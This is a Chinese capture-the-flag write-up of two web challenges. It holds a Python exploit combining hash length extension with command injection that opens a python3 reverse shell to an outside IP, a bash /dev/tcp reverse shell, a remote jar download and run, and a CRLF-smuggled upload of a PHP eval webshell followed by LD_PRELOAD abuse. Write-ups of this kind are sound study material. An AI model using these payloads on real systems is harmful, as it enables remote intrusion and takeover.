去年直接就地爆炸,一年过去了还是没啥区别…

Homebrew Dubbo

一个网盘的功能,上传文件会返回一个token,比如

1
eyJzaWduIjoiWlRsaFptVmpZakUxTkRBeU5ERmtaV0ZqTlRrNE5HTXhORFF3TjJObE5UQT0iLCJpZCI6IllUWmxNREE1TW1VdE9EWTFOQzAwWVdZM0xUZzFZVFl0TjJKak9ETXhORFZsTTJJeSJ9

base64解码为

1
{"sign":"ZTlhZmVjYjE1NDAyNDFkZWFjNTk4NGMxNDQwN2NlNTA=","id":"YTZlMDA5MmUtODY1NC00YWY3LTg1YTYtN2JjODMxNDVlM2Iy"}

可以看到分为signid两部分,使用token可以下载上传的文件

信息泄露得到源码

没啥思路,可以先做下信息搜集

/static/js/app.4d269ccff489d8a081d1.js里有一个注释

1
//# sourceMappingURL=app.4d269ccff489d8a081d1.js.map

下载/static/js/app.4d269ccff489d8a081d1.js.map,用LinkFinder找到一个接口

访问/api/upload/list发现列出了存在的token

使用第一个token可以下载得到源码

哈希拓展攻击命令执行

审计下代码发现是一个java微服务的架构

in.zhaoj.homebrew_dubbo.storage_provider.service.Impl.StorageServiceImplreadFile方法可以发现可控的命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@Override
public HashMap<String, Object> readFile(HashMap<String, Object> parameter) {
HashMap<String, Object> returnHashMap = new HashMap<>();

String id = ((String)(parameter.get("id")));
String dictName = String.valueOf(UUID.randomUUID());

shellUtil.exec("cd " + uploadFolder + " && unzip " + id + ".zip -d " + tmpPath + "/" + dictName + "/");

List<String> result = new ArrayList<>();
fileUtil.list(new File(tmpPath + "/" + dictName + "/"), result);
String[] fileNames = result.get(0).split("/");
returnHashMap.put("filename", fileNames[fileNames.length - 1]);
returnHashMap.put("dictname", dictName);
returnHashMap.put("size", new File(tmpPath + "/" + dictName + "/" + fileNames[fileNames.length - 1]).length());
returnHashMap.put("url", "http://" + host + ":" + port + "/" + staticAccessPath.replace("**", "") + "/" + dictName + "/" + fileNames[fileNames.length - 1]);

shellUtil.exec( "rm -rf " + uploadFolder + "/" + dictName + "/");

return returnHashMap;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@Component
public class ShellUtil {
public String exec(String shell) {
String result = "";
Process process;
try {
// 避免文件名中的特殊字符导致命令出错
shell = shell.replace("\u0000", "");

process = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", shell});
process.waitFor();
BufferedReader read = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line = null;
while ((line = read.readLine()) != null){
result+=line;
}
} catch (Exception e) {
e.printStackTrace();
}

return result;
}
}

不过首先要在前端消费者frontend_consumer那里绕过token的验证

1
2
3
4
5
6
7
8
9
10
11
12
13
@GetMapping(value = "")
public ResponseEntity<Resource> download(@RequestParam String token) throws IllegalStateException {
byte[] id = fileSignUtil.verifyToken(token); //会先对token进行验证

if(id == null) {
return ResponseEntity.notFound().build();
}

HashMap<String, Object> requestHashMap = new HashMap<>();
requestHashMap.put("id", new String(id));

HashMap<String, Object> returnHashMap = this.dubboCallUtil.callWithRetry("in.zhaoj.homebrew_dubbo.storage_provider.service.StorageService", "readFile", requestHashMap);
......

验证方法是对id进行签名,看其是否与token相同。获取签名时可以哈希拓展攻击

1
2
3
private String getSign(byte[] filename) {
return base64Util.encode(encrypt(arrayUnion(secretKey.getBytes(), filename)));
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import hashpumpy
import base64
import requests

# 因为每次file.sign_key都会变,随意sign和id要换成自己的
sign = "1b929a91319bcc3221e09fb3c78a4c80"
id = "3221a5e3-f3b8-42b7-9e03-5a4f9439e1f8"
cmd = ''';python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.0.64.30",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';'''
sign,id = hashpumpy.hashpump(sign,id,cmd,32)
print(sign)
print(id)
token = b'{"sign":"'+ base64.b64encode(sign.encode()) + b'","id":"' + base64.b64encode(id) + b'"}'
token = base64.b64encode(token)
print(token)

url = 'http://5f27951f-6e8b-42b6-abe9-916b116ee976.node3.buuoj.cn/api/upload?token='
requests.get(url=url+token.decode())

这里用/bin/bash等方式死活弹不了shell,只有python3能成功

拿到shell后发现这里/bin/sh指向的是dash,常用的反弹shell方法里很多语法dash都不支持,目前也没有找到dash弹shell的方法…

替代办法是/bin/bash -c 'bash -i >& /dev/tcp/174.0.64.3/8080 0>&1'

伪造消费者得到flag

此时的用户是java3,但flag只有java2用户才能读

用java2启动的服务是flag_provider,里面有方法可以读flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Service
public class FlagServiceImpl implements FlagService {
@Override
public HashMap<String, Object> getFlag(HashMap<String, Object> parameter) {
HashMap<String, Object> returnHashmap = new HashMap<>();
try {
FileInputStream fis = new FileInputStream("/flag");
String data = IOUtils.toString(fis, "UTF-8");

returnHashmap.put("flag", data);
return returnHashmap;
} catch (Exception e) {
e.printStackTrace();
return returnHashmap;
}
}
}

frontend_consumer中并没有没有调用这个方法的地方,但我们可以伪造一个自己的
frontend_consumer传上去运行,在里面远程调用getFlag方法

  • 首先修改没用的/api/check接口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@RestController
@RequestMapping("/api/check")
public class CheckController {

@Autowired
private DubboCallUtil dubboCallUtil;

@GetMapping(value = "")
public ResponseData show() throws IllegalStateException {
// return new ResponseData(ResponseData.CODE_SUCCESS, dubboCallUtil.getAllNodes());
HashMap<String,Object> parameter = new HashMap<>();
HashMap<String, Object> returnHashMap = this.dubboCallUtil.callWithRetry("in.zhaoj.homebrew_dubbo.flag_provider.service.FlagService", "getFlag", parameter);
return new ResponseData(ResponseData.CODE_SUCCESS,returnHashMap);
}
}
  • application-prod.properties中修改监听的端口
1
2
3
server.address=127.0.0.1
#server.port=8080
server.port=1234
  • 构建jar包
1
mvn clean package
  • 利用反弹shell把jar包下到靶机上,然后运行
1
2
curl http://174.0.64.30:5000/frontend_consumer.jar -o frontend_consumer.jar
nohup java -jar frontend_consumer.jar > nohup.txt &
  • 访问伪造的frontend_consumer/api/check接口得到flag
1
curl http://127.0.0.1:1234/api/check

赵总nb!

Markdown Note

传说中的web re

思路很明确,从pmarkdown.so这个php拓展里找一个ssrf然后文件上传

可以先看看evoa师傅的文章学习下php拓展的基础知识:

ida初步分析

pmark_include

post.php里调用了一个pmark_include来渲染markdown文件

1
pmark_include('posts/'.$_GET['md']);

pmarkdown.so的导出函数中可以找到pmark_include(拓展中叫做zif_pmark_include

跟进去看一下,最终跟到verbose_pandoc_file函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __fastcall verbose_pandoc_file(char *filename)
{
__pid_t v1; // eax
__pid_t v2; // er12
int fd[2]; // [rsp+8h] [rbp-2830h]
char buf[10240]; // [rsp+10h] [rbp-2828h]
unsigned __int64 v6; // [rsp+2818h] [rbp-20h]

v6 = __readfsqword(0x28u);
memset(buf, 0, 0x2800uLL);
if ( pipe(fd) < 0 )
return -1;
v1 = fork();
v2 = v1;
if ( v1 < 0 )
return -1;
if ( !v1 )
{
close(fd[0]);
if ( fd[1] == 1 )
return -(execl(path, "pandoc", filename, 0LL) == -1);
if ( dup2(fd[1], 1) == 1 )
{
close(fd[1]);
return -(execl(path, "pandoc", filename, 0LL) == -1);
}
return -1;
}
close(fd[1]);
while ( (signed int)read(fd[0], buf, 0x2800uLL) > 0 )
{
php_printf("%s", buf);
memset(buf, 0, 0x2800uLL);
}
close(fd[0]);
return -(waitpid(v2, 0LL, 0) > 0);
}

这里用execl函数来调用pandoc渲染markdown文件,并不存在命令注入

zm_activate_pmarkdown

php拓展中的PHP_RINIT_FUNCTION函数(宏展开后实际上是zm_activate_##module(...){...})会在请求到来时执行,很可能藏有一些东西

  • 在ida的Exports中找到pmarkdown_module_entry,在里面可以找到zm_activate_pmarkdown函数

  • zm_activate_pmarkdown底部调用了一个unk_1850

  • 跟进unk_1850函数就可以找到ssrf,并且通过path可以CRLF注入构造文件上传的包

那么接下来的问题就是如何才能控制path。回过头来再看zm_activate_pmarkdown底部的代码

  • 修改了变量名并添加了一些注释的c代码

  • 对应的汇编:

zend_hash_find用于获取一个哈希表中的键值,其第一个参数为指向HashTable的指针,第二个参数为一个zend_string。可以看出:

  • key的内容是'debug'

  • ht是通过core_globals加偏移获得。core_globals是php中的一个结构体,因此ht可能是其中的某个成员

具体是哪个成员呢…直接用偏移地址和core_globals成员大小去算感觉很麻烦,还是gdb动调去看一看

调试环境搭建

使用的调试方法来自WEBPWN入门级调试讲解,通过php cli进行调试

  • 在php cli的php.ini中添加pmarkdown.so
1
extension = "/home/kali/pmarkdown/pmarkdown.so"
  • 写个测试的php文件,运行不报错即可
1
2
<?php
pmark_include('test.md');

这里要注意下php版本的问题,一开始用的php7.4会报错:

这是因为pmarkdown.so是在php7.2环境下编译的(API=20170718),与其他版本的API可能不兼容

调试分析

再下一个断点,断在zm_activate_pmarkdown最后的call _zend_hash_find

可以看到htkey两个参数

  • 先确认下key

看着没啥问题,正好对应于zend_string

1
2
3
4
5
6
struct _zend_string {
zend_refcounted_h gc;
zend_ulong h;
size_t len;
char val[1];
};
  • 再来看看ht究竟是什么哈希表,r12值为0x555555c13fa0,也就是core_globals结构体起始地址为0x555555c13fa0,偏移0x170后是0x555555c14110

参考gdb 显示结构体中成员的偏移量中的方法,输出core_globals成员的偏移地址,最终找到http_globals成员的地址为0x555555c14110:

http_globals定义为zval * http_globals[6];,用于获取http参数,其有7个索引

1
2
3
4
5
6
7
#define TRACK_VARS_POST           0
#define TRACK_VARS_GET 1
#define TRACK_VARS_COOKIE 2
#define TRACK_VARS_SERVER 3
#define TRACK_VARS_ENV 4
#define TRACK_VARS_FILES 5
#define TRACK_VARS_REQUEST 6

这里正好是0x555555c14110,也就是第一个索引TRACK_VARS_POST,后面的zend_hash_find也就相当于$_POST['debug']

CRLF注入

接着就是post一个debug参数控制path构造文件上传包,方法是构造这样一个双http包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
GET /sadfas 
HTTP/1.1
HOST:localhost
Connection:Keep-Alive

POST /upload.php HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.7,en;q=0.3
Referer: http://127.0.0.1:8080/index.php?act=upload
Content-Type: multipart/form-data; boundary=---------------------------6693638881479522630623693797
Content-Length: 244
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------6693638881479522630623693797
Content-Disposition: form-data; name="file"; filename="logout.php"
Content-Type: text/php

<?php
eval($_REQUEST[a]);

-----------------------------6693638881479522630623693797--
HTTP/1.1
Host: 127.0.0.1
User-Agent: ComputerVendor
Cookie: nilnilnilnil
Connection: close
Identity: unknown

因为第二个http包中有Connection: close,所以后面的

1
2
3
4
5
6
HTTP/1.1
Host: 127.0.0.1
User-Agent: ComputerVendor
Cookie: nilnilnilnil
Connection: close
Identity: unknown

会被丢弃掉

懒得自己写了,copy一下官方exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import re

url = 'xxxxxx'
timeout=5
data = '504f5354202f75706c6f61642e70687020485454502f312e310d0a486f73743a203132372e302e302e313a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e3020284d6163696e746f73683b20496e74656c204d6163204f5320582031302e31333b2072763a36362e3029204765636b6f2f32303130303130312046697265666f782f36362e300d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c2a2f2a3b713d302e380d0a4163636570742d4c616e67756167653a207a682c656e2d55533b713d302e372c656e3b713d302e330d0a526566657265723a20687474703a2f2f3132372e302e302e313a383038302f696e6465782e7068703f6163743d75706c6f61640d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739370d0a436f6e74656e742d4c656e6774683a203234340d0a436f6e6e656374696f6e3a20636c6f73650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c65223b2066696c656e616d653d226c6f676f75742e706870220d0a436f6e74656e742d547970653a20746578742f7068700d0a0d0a3c3f706870200d0a6576616c28245f524551554553545b615d293b0a0d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d363639333633383838313437393532323633303632333639333739372d2d0d0a'.replace(
'\n', '')
data = data.decode('hex')
requests.post(url+'/index.php',
data={'debug': "sadfas HTTP/1.1\r\nHOST:localhost\r\nConnection:Keep-Alive\r\n\r\n%s\r\n" % data}, timeout=timeout)

requests.post(url+'/index.php',
data={'debug': "sadfas HTTP/1.1\r\nHOST:localhost\r\nConnection:Keep-Alive\r\n\r\n%s\r\n" % data}, timeout=timeout)

requests.post(url+'/post.php?md=logout.md', data={
'a': 'move_uploaded_file($_FILES["aaa"]["tmp_name"],"/tmp/test.so");'
},
files={"aaa": ("filename1", open("test.so", "rb"))},
timeout=timeout)
requests.post(url+'/post.php?md=logout.md',
data={'a': 'putenv("LD_PRELOAD=/tmp/test.so");pmark_read("posts/logout.md");'}, timeout=timeout)
data = requests.post(url+'/post.php?md=logout.md', data={
'a': 'print_r(file_get_contents("/tmp/flag"));'
}).content
info = re.search(r'flag\{.*\}', data)
print(info.group(0))